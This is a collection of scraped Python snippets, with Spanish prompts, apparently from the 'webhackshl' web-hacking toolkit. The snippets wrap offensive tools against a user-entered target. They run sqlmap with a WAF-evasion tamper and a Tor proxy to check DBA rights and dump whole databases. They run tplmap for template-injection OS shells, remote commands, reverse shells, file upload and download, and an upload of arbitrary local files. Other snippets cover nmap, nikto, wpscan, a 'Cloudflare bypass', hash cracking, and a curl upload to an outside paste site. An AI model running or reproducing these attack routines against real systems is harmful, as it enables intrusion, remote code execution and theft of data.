コード例 #1
0
ファイル: sqlimod.py プロジェクト: skinny21/webhackshl
def isdba(mode):
    if mode == "normalsqli":
        checker.cAmarillo("Comprobando si el usuario actual es root de MySQL ...")
        outp = open("modules/sqlopt/output.txt", "w")
        call(["sqlmap","--tamper=bluecoat","--technique=BEUST","--level",level,"--risk",risk,"-u",url,"--batch","--is-dba"],stdout=outp)
        if 'current user is DBA:    False' in open('modules/sqlopt/output.txt').read():
            print ("El usuario no es root.")
            outp.close()

        elif 'current user is DBA:    True' in open('modules/sqlopt/output.txt').read():
            checker.cVerde("El usuario es root!, esto es fascinante!!.")
            outp.close()
        else:
            checker.cRojo("Resultado inesperado.")
            outp.close()
    elif mode == "postsqli":
        checker.cAmarillo("Comprobando si el usuario actual es root de MySQL ...")
        outp = open("modules/sqlopt/output.txt", "w")
        call(["sqlmap","--tamper=bluecoat","--proxy","socks5://localhost:9050","--technique=BEUST","--level",level,"--risk",risk,"-u",url,"--data",post,"--batch","--is-dba"],stdout=outp)
        if 'current user is DBA:    False' in open('modules/sqlopt/output.txt').read():
            print ("El usuario no es root.")
            outp.close()
        elif 'current user is DBA:    True' in open('modules/sqlopt/output.txt').read():
            checker.cVerde("El usuario es root!, esto es fascinante!!.")
            outp.close()
        else:
            checker.cRojo("Resultado inesperado.")
            outp.close()
    else:
        print ("Modo de inyección desconocido.")
        pass
コード例 #2
0
def wordpresscan():
    checker.cRojo("Desea Guardar el logs de la informacion? y/n : ")
    resp = input("Introduce tu Respuesta y/n : ")
    if resp == "y":
        logsdirectory = "/opt/wpscan/modules/logs/wpscan/"
        if not os.path.exists(logsdirectory):
            print("El directorio ", logsdirectory, " no existe, se creará.")
            os.system("sudo mkdir -p /opt/wpscan/modules/logs/wpscan/")
        web = portsmod.host()
        logsalida = logs.randomarch("wpscan/", "WPSCAN", ".log")
        call([
            "sudo", "wpscan", "-u", web, "--enumerate", "p", "--enumerate",
            "t", "--enumerate", "u", "--log", logsalida
        ])
        checker.bspc()
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.cRojo(["Tu log se ha Guardado en la ruta: ", logsdirectory])
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.bspc()
    elif resp == "n":
        web = portsmod.host()
        call([
            "sudo", "wpscan", "-u", web, "--enumerate", "p", "--enumerate",
            "t", "--enumerate", "u"
        ])
    execute()
コード例 #3
0
def bypasscloud():
    checker.cRojo("Desea Guardar el logs de la informacion? y/n : ")
    resp = input("Introduce tu Respuesta y/n : ")
    if resp == "y":
        try:
            host()
            logsalida = logs.randomarch("bypass/", "BYPASSER", ".log")
            checker.cAmarillo(
                "Intentando Bypassear Cloudflare usando fierce...")
            call(["fierce", "-dns", target, "-fulloutput", logsalida])
            checker.bspc()
            checker.cAmarillo(
                "--------------------------------------------------------")
            checker.cRojo(["Tu log se ha Guardado en la ruta: ", logsalida])
            checker.cAmarillo(
                "--------------------------------------------------------")
            checker.bspc()
        except OSError:
            call(["fierce.pl", "-dns", target, "-fulloutput", logsalida])
        except:
            print("Ha ocurrido un error, saliendo.")
            pass
    elif resp == "n":
        try:
            host()
            call(["fierce", "-dns", target])
        except OSError:
            call(["fierce.pl", "-dns", target])
        except:
            print("Ha ocurrido un error, saliendo.")
            pass
コード例 #4
0
def localtoremote(mode, force):
    ruta = input(
        "Introduce la ruta del archivo local (Ej. /home/user/test.py): ")
    if ruta != "" and "/" in ruta and mode == "normal" and force == "no":
        call([
            "python2", "modules/tplmap/tplmap.py", "-A", useragent, "-u",
            ssitarget, "--level", level, "--upload=" + ruta
        ])
    elif ruta != "" and "/" in ruta and mode == "post" and force == "no":
        call([
            "python2", "modules/tplmap/tplmap.py", "-A", useragent, "-u",
            ssitarget, "--data", ssipost, "--level", level, "--upload=" + ruta
        ])
    elif ruta != "" and "/" in ruta and mode == "normal" and force == "si":
        call([
            "python2", "modules/tplmap/tplmap.py", "--force-overwrite", "-A",
            useragent, "-u", ssitarget, "--level", level, "--upload=" + ruta
        ])
    elif ruta != "" and "/" in ruta and mode == "post" and force == "si":
        call([
            "python2", "modules/tplmap/tplmap.py", "--force-overwrite", "-A",
            useragent, "-u", ssitarget, "--data", ssipost, "--level", level,
            "--upload=" + ruta
        ])
    else:
        checker.cRojo("Ha ocurrido un error, intentandolo de nuevo.\n")
        localtoremote()
コード例 #5
0
def host():
    global target
    target = input("Introduce el host al que deseas hacerle el scan: ")
    if target:
        return target
    else:
        checker.cRojo("Host invalido.")
        host()
コード例 #6
0
def gethash():
    hashatt = input("Introduce el Hash: ")
    archash = open('hash.txt', 'w')
    archash.write(hashatt)
    archash.close()
    if hashatt == "":
        checker.cRojo("Hash invalido / No introdujo un Hash.")
        gethash()
    else:
        pass
コード例 #7
0
def port():
    global portnumber
    portnumber = input(
        "Introduce el puerto o los puertos que deseas escanear (Si deseas un rango de puertos, escribelos de la manera 1-1000): "
    )
    if portnumber:
        return portnumber
    else:
        checker.cRojo("Puerto invalido.")
        port()
コード例 #8
0
ファイル: sqlimod.py プロジェクト: skinny21/webhackshl
def sqlipost():
    global url
    url=input("introduce la url vulnerable: ")
    url=url.translate(None, "%+'")    
    if url and "." in url:
        postglob()
        lev()
        rsk()
        call(["sqlmap","--tamper=bluecoat","--technique=BEUST","--level",level,"--risk",risk,"-u",url,"--data",post,"--dbs"])
        postsqlip()
    else:
        checker.cRojo("La URL esta vacia, intentalo de nuevo.\n")
        sqlipost()
コード例 #9
0
def intensescan():
    checker.cRojo("Desea Guardar el logs de la informacion? y/n : ")
    resp = input("Introduce tu Respuesta y/n : ")
    if resp == "y":
        host()
        logsalida = logs.randomarch("nmap-full/", "NMAP-FULL", ".log")
        checker.cRojo(
            "Para este tipo de escaneo necesitas privilegios sudo o root, por favor introduzca su contrasena si no eres root."
        )
        call([
            "sudo", "nmap", "-A", "-T4", "-sS", "-Pn", "-O", "-sV", "-p",
            "1-10000", "-v", target, "-oN", logsalida
        ])
        checker.bspc()
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.cRojo(["Tu log se ha Guardado en la ruta: ", logsalida])
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.bspc()
    elif resp == "n":
        host()
        checker.cRojo(
            "Para este tipo de escaneo necesitas privilegios sudo o root, por favor introduzca su contrasena si no eres root."
        )
        call([
            "sudo", "nmap", "-A", "-T4", "-sS", "-Pn", "-O", "-sV", "-p",
            "1-10000", "-v", target
        ])
コード例 #10
0
ファイル: sqlimod.py プロジェクト: skinny21/webhackshl
def dumpall(mode):
    checker.cRojo("""Dumpeando toda la base de datos, esto puede tomar un largo tiempo...
    Continue solo en caso de que sepa lo que esta haciendo.
    """)
    decide=input("Deseas continuar? (y/n): ")
    if decide == "y" and mode == "normalsqli":
        call(["sqlmap","--tamper=bluecoat","--technique=BEUST","--level",level,"--risk",risk,"-u",url,"--dump-all"])
    elif decide == "y" and mode == "postsqli":
        call(["sqlmap","--tamper=bluecoat","--technique=BEUST","--level",level,"--risk",risk,"-u",url,"--data",post,"--dump-all"])
    elif decide == "n":
        print ("Saliendo.")
    else:
        checker.cRojo("Opcion equivovada, por favor verifique.")
        dumpall()
コード例 #11
0
def osshell(mode):
    if mode == "normal":
        call([
            "python2", "modules/tplmap/tplmap.py", "-A", useragent, "-u",
            ssitarget, "--level", level, "--os-shell"
        ])
    elif mode == "post":
        call([
            "python2", "modules/tplmap/tplmap.py", "-A", useragent, "-u",
            ssitarget, "--data", ssipost, "--level", level, "--os-shell"
        ])
    else:
        checker.cRojo("Ha ocurrido un error, intentandolo de nuevo.\n")
        osshell()
コード例 #12
0
ファイル: sqlimod.py プロジェクト: skinny21/webhackshl
def rsk():
    try:
        global risk
        risk=int(input("Introduce tu valor para --risk (1-3): "))
        if risk < 1 or risk > 3:
            checker.cRojo("El valor solo puede ser de 1 a 3.\n")
            rsk()
        else:
            risk=str(risk)
            return risk
    except ValueError:
        checker.cRojo("Por favor, el valor solo puede ser numerico.\n")
        rsk()
    except KeyboardInterrupt:
        print ("Saliendo.")
コード例 #13
0
ファイル: sqlimod.py プロジェクト: skinny21/webhackshl
def lev():
    try:
        global level
        level=int(input("Introduce tu valor para --level (1-5): "))
        if level < 1 or level > 5:
            checker.cRojo("El valor solo puede ser de 1 a 5.\n")
            lev()
        else:
            level=str(level)
            return level
    except ValueError:
        checker.cRojo("Por favor, el valor solo puede ser numerico.\n")
        lev()
    except KeyboardInterrupt:
        print ("Saliendo.\n")
コード例 #14
0
ファイル: sqlimod.py プロジェクト: skinny21/webhackshl
def postglob():
    try:
        global post
        post=input("Introduce los datos post para la inyeccion: ")
        post=sub('\'', '', post)
        if post:
            return post
        elif post == "":
            checker.cRojo("Los datos de POST inyeccion están vacios, intentelo de nuevo.\n")
            postglob()
        else:
            checker.cRojo("Los datos post son invalidos, intentalo de nuevo.\n")
            postglob()
    except KeyboardInterrupt:
        print ("Saliendo.\n")
コード例 #15
0
def sstipost():
    global ssitarget, mode, ssipost, level
    mode = "post"
    ssitarget = input("introduce la url vulnerable: ")
    if ssitarget != "" and "." in ssitarget:
        ssipost = sqlimod.postglob()
        level = sqlimod.lev()
        call([
            "python2", "modules/tplmap/tplmap.py", "-A", useragent, "-u",
            ssitarget, "--data", ssipost, "--level", level
        ])

    else:
        checker.cRojo(
            "La URL esta vacia o no es valida, intentalo de nuevo.\n")
        sstipost()
コード例 #16
0
def detectserv():
    checker.cRojo("Desea Guardar el logs de la informacion? y/n : ")
    resp = input("Introduce tu Respuesta y/n : ")
    if resp == "y":
        host()
        logsalida = logs.randomarch("nmap-servhost/", "SERV-HOST", ".log")
        call(["nmap", "-sP", target, "-oN", logsalida])
        checker.bspc()
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.cRojo(["Tu log se ha Guardado en la ruta: ", logsalida])
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.bspc()
    elif resp == "n":
        host()
        call(["nmap", "-sP", target])
コード例 #17
0
def fastscan():
    checker.cRojo("Desea Guardar el logs de la informacion? y/n : ")
    resp = input("Introduce tu Respuesta y/n : ")
    if resp == "y":
        host()
        logsalida = logs.randomarch("nmap-rapido/", "NMAP-Rapido", ".log")
        call(["nmap", "--open", "-F", target, "-oN", logsalida])
        checker.bspc()
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.cRojo(["Tu log se ha Guardado en la ruta: ", logsalida])
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.bspc()
    elif resp == "n":
        host()
        call(["nmap", "--open", "-F", target])
コード例 #18
0
def remotecommand(mode):
    command = input(
        "Ingresa el comando que deseas ejecutar en el sistema remoto: ")
    if command != "" and mode == "normal":
        call([
            "python2", "modules/tplmap/tplmap.py", "-A", useragent, "-u",
            ssitarget, "--level", level, "--os-cmd=" + command
        ])
    elif command != "" and mode == "post":
        call([
            "python2", "modules/tplmap/tplmap.py", "-A", useragent, "-u",
            ssitarget, "--data", ssipost, "--level", level,
            "--os-cmd=" + command
        ])
    else:
        checker.cRojo("Ha ocurrido un error, intentadolo de nuevo.\n")
        remotecommand()
コード例 #19
0
def enumdns():
    checker.cRojo("Desea Guardar el logs de la informacion? y/n : ")
    resp = input("Introduce tu Respuesta y/n : ")
    if resp == "y":
        host()
        logsalida = logs.randomarch("dnsenum/", "DNSENUM", ".xml")
        checker.cAmarillo("Enumerando DNS's")
        call(["dnsenum", target, "-o", logsalida])
        checker.bspc()
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.cRojo(["Tu log se ha Guardado en la ruta: ", logsalida])
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.bspc()
    elif resp == "n":
        host()
        call(["dnsenum", target])
コード例 #20
0
def reverseshell(mode):
    host = "127.0.0.1"
    port = input(
        "Introduce el puerto local al que deseas conectar la Bind Shell: ")
    if port != "" and mode == "normal":
        call([
            "python2", "modules/tplmap/tplmap.py", "-A", useragent, "-u",
            ssitarget, "--level", level, "--reverse-shell" + host + port
        ])
    elif port != "" and mode == "post":
        call([
            "python2", "modules/tplmap/tplmap.py", "-A", useragent, "-u",
            ssitarget, "--data", ssipost, "--level", level,
            "--reverse-shell" + host + port
        ])
    else:
        checker.cRojo("Ha ocurrido un error, intentandolo de nuevo.\n")
        reverseshell()
コード例 #21
0
def downfiles(mode):
    ruta = input(
        "Introduce la ruta del archivo que deseas descargar (Ej. /maquina/remota/mysql.db): "
    )
    if ruta != "" and "/" in ruta and mode == "normal":
        call([
            "python2", "modules/tplmap/tplmap.py", "-A", useragent, "-u",
            ssitarget, "--level", level, "--download=" + ruta
        ])
    elif ruta != "" and "/" in ruta and mode == "post":
        call([
            "python2", "modules/tplmap/tplmap.py", "-A", useragent, "-u",
            ssitarget, "--data", ssipost, "--level", level,
            "--download=" + ruta
        ])
    else:
        checker.cRojo("Ha ocurrido un error, intentandolo de nuevo.\n")
        downfiles()
コード例 #22
0
def templateshell(mode):
    try:
        checker.cAmarillo(
            "Intentando establecer una shell con el Template Engine...")
        if mode == "normal":
            call([
                "python2", "modules/tplmap/tplmap.py", "-A", useragent, "-u",
                ssitarget, "--level", level, "--tpl-shell"
            ])
        elif mode == "post":
            call([
                "python2", "modules/tplmap/tplmap.py", "-A", useragent, "-u",
                ssitarget, "--data", ssipost, "--level", level, "--tpl-shell"
            ])
        else:
            checker.cRojo("Ha ocurrido un error.")
    except:
        checker.cRojo("Ha ocurrido un error, intentando nuevamente.")
        templateshell()
コード例 #23
0
def escanport():
    checker.cRojo("Desea Guardar el logs de la informacion? y/n : ")
    resp = input("Introduce tu Respuesta y/n : ")
    if resp == "y":
        host()
        port()
        logsalida = logs.randomarch("nmap-puertorango/", "PUERTORANGO", ".log")
        call(["nmap", "-p", portnumber, target, "-oN", logsalida])
        checker.bspc()
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.cRojo(["Tu log se ha Guardado en la ruta: ", logsalida])
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.bspc()
    elif resp == "n":
        host()
        port()
        call(["nmap", "-p", portnumber, target])
コード例 #24
0
def menu():
    checker.cAmarillo("Por favor selecciona una de las siguientes opciones")
    print("""
    a) Escaneo full de un host (Lento pero el mas completo).
    b) Escaneo rapido de un host.
    c) Detectar servidores corriendo de un host.
    d) Detectar versiones de los servicios corriendo en un host.
    e) Escanear un puerto especifico o un rango de puertos.
    f) Detectar el sistema operativo de un host.
    g) Enumerar los DNS de un host.
    h) Bypassear cloudflare.
    i) Salir.
    """)
    sel = input("Introduce tu opcion: ")
    if sel == "a":
        intensescan()
        menu()
    elif sel == "b":
        fastscan()
        menu()
    elif sel == "c":
        detectserv()
        menu()
    elif sel == "d":
        detectver()
        menu()
    elif sel == "e":
        escanport()
        menu()
    elif sel == "f":
        recsystem()
        menu()
    elif sel == "g":
        enumdns()
        menu()
    elif sel == "h":
        bypasscloud()
        menu()
    elif sel == "i":
        print("Saliendo.")
    else:
        checker.cRojo("Opcion invalida.")
        menu()
コード例 #25
0
def submenu():
    print("""

Elige el método que vas a utilizar para la Server Side Template Inyection
    
    a) Metodo normal.
    b) Metodo post.
    c) Regresar al menú anterior
""")
    option1 = input("Introduce tu opción: ")
    if option1 == "a":
        normalssti()
    elif option1 == "b":
        sstipost()
        postssti()
    elif option1 == "c":
        print("Saliendo.")
        pass
    else:
        checker.cRojo("Opción inválida, intentelo de nuevo.")
        submenu()
コード例 #26
0
def nickscan():
    checker.cRojo("Desea Guardar el logs de la informacion? y/n : ")
    resp = input("Introduce tu Respuesta y/n : ")
    if resp == "y":
        web = portsmod.host()
        checker.cAmarillo(
            "Buscando vulnerabilidades en el sitio web usando nikto...")
        logsalida = logs.randomarch("nikto/", "NIKTO", ".html")
        call(["nikto", "-no404", "-host", web, "-o", logsalida])
        checker.bspc()
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.cRojo(["Tu log se ha Guardado en la ruta: ", logsalida])
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.bspc()
    elif resp == "n":
        web = portsmod.host()
        checker.cAmarillo(
            "Buscando vulnerabilidades en el sitio web usando nikto...")
        call(["nikto", "-no404", "-host", web])
    execute()
コード例 #27
0
def whatw():
    checker.cRojo("Desea Guardar el logs de la informacion? y/n : ")
    resp = input("Introduce tu Respuesta y/n : ")
    if resp == "y":
        web = portsmod.host()
        checker.cAmarillo("Obteniendo informacion del sitio web.")
        checker.bspc()
        logsalida = logs.randomarch("whatweb/", "WHATWEB", ".log")
        call(["whatweb", "-v", web, "--log-verbose", logsalida])
        checker.bspc()
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.cRojo(["Tu log se ha Guardado en la ruta: ", logsalida])
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.bspc()
    elif resp == "n":
        web = portsmod.host()
        checker.cAmarillo("Obteniendo informacion del sitio web.")
        checker.bspc()
        call(["whatweb", "-v", web])
        execute()
コード例 #28
0
ファイル: sqlimod.py プロジェクト: skinny21/webhackshl
def urlglob():
    try:
        global url
        url=input("introduce la url vulnerable: ")
        url=sub('\'', '', url)
        if url and "?" in url and "." in url:
            return url
        elif url == "":
            checker.cRojo("La URL está vacia, intentelo de nuevo.\n")
            urlglob()
        elif "?" not in url:
            checker.cRojo("Necesitas introducir un parametro inyectable por ejemplo '?id', intentalo de nuevo.\n")
            urlglob()
        else:
            checker.cRojo("Tu URL es invalida, por favor intentalo de nuevo.\n")
            urlglob()
    except KeyboardInterrupt:
        print( "Saliendo.\n")
コード例 #29
0
def recsystem():
    checker.cRojo("Desea Guardar el logs de la informacion? y/n : ")
    resp = input("Introduce tu Respuesta y/n : ")
    if resp == "y":
        host()
        logsalida = logs.randomarch("nmap-so-host/", "SYTEMOPERHOST", ".log")
        checker.cRojo(
            "Para este tipo de escaneo necesitas privilegios sudo o root, por favor introduzca su contrasena si no eres root."
        )
        call(["sudo", "nmap", "-O", target, "-oN", logsalida])
        checker.bspc()
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.cRojo(["Tu log se ha Guardado en la ruta: ", logsalida])
        checker.cAmarillo(
            "--------------------------------------------------------")
        checker.bspc()
    elif resp == "n":
        host()
        call(["sudo", "nmap", "-O", target])
コード例 #30
0
ファイル: hashid.py プロジェクト: skinny21/webhackshl
def menu():
    checker.cAmarillo("\nElige la tarea que quieres realizar:")
    print("""
    a) Identificacion de hashes.
    b) Desencriptación de hashes usando John The Ripper + Wordlists.
    c) Desencriptacion de Hashes online y Wordlist para bruteforce.
    d) Salir.
    """)
    option = input("Introduce tu opcion: ")
    try:
        if option == "a":
            os.system("python2 modules/hashidentifier")
            menu()

        elif option == "b":
            checker.cAmarillo("Elige la opción que deseas usar: ")
            print("""
                a) Desencriptación de un Hash tipo MD5.
                b) Desencriptación de un Hash tipo Sha-1.
                c) Desencriptación de un Hash tipo MySQL.
                d) Desencriptación de un Hash tipo Django.
                e) Desencriptación de cualquier tipo de Hash (Debes conocer previamente el tipo de Hash).
                f) Regresar al menú anterior.
                """)
            tipodehashh = input("Teclea tu opción: ")
            if tipodehashh == "a":
                johnmod.md5hash()
                menu()
            elif tipodehashh == "b":
                johnmod.sha1hash()
                menu()
            elif tipodehashh == "c":
                johnmod.mysqlhash()
                menu()
            elif tipodehashh == "d":
                johnmod.djangohash()
                menu()
            elif tipodehashh == "e":
                johnmod.anyhash()
                menu()
            elif tipodehashh == "f":
                print("Regresando al menú anterior.\n")
                pass
            else:
                print("Opción invalida, intentalo de nuevo.")
                menu()
        elif option == "c":
            checker.cAmarillo(
                "Utiliza las siguientes direcciones Web para buscar tus hash.")
            print("""
            1) Para hash MD5 - https://hashkiller.co.uk/md5-decrypter.aspx
            2) Para hash Sha-1 - https://hashkiller.co.uk/sha1-decrypter.aspx
            3) Para claves WPA/WPA2 - https://hashkiller.co.uk/wpa-crack.aspx
            4) Para hash NTML https://hashkiller.co.uk/ntlm-decrypter.aspx
            """)
            checker.cRojo(
                "Adicionalmente puedes descargar tus wordlist para ataques de fuerza bruta directamente desde aquí: "
            )
            os.system(
                "cat modules/wordlist/worlists.txt | curl -F c=@- https://ptpb.pw/?u=1"
            )
            checker.bspc()

            menu()
        elif option == "d":
            print("Saliendo.")
        else:
            menu()
    except KeyboardInterrupt:
        pass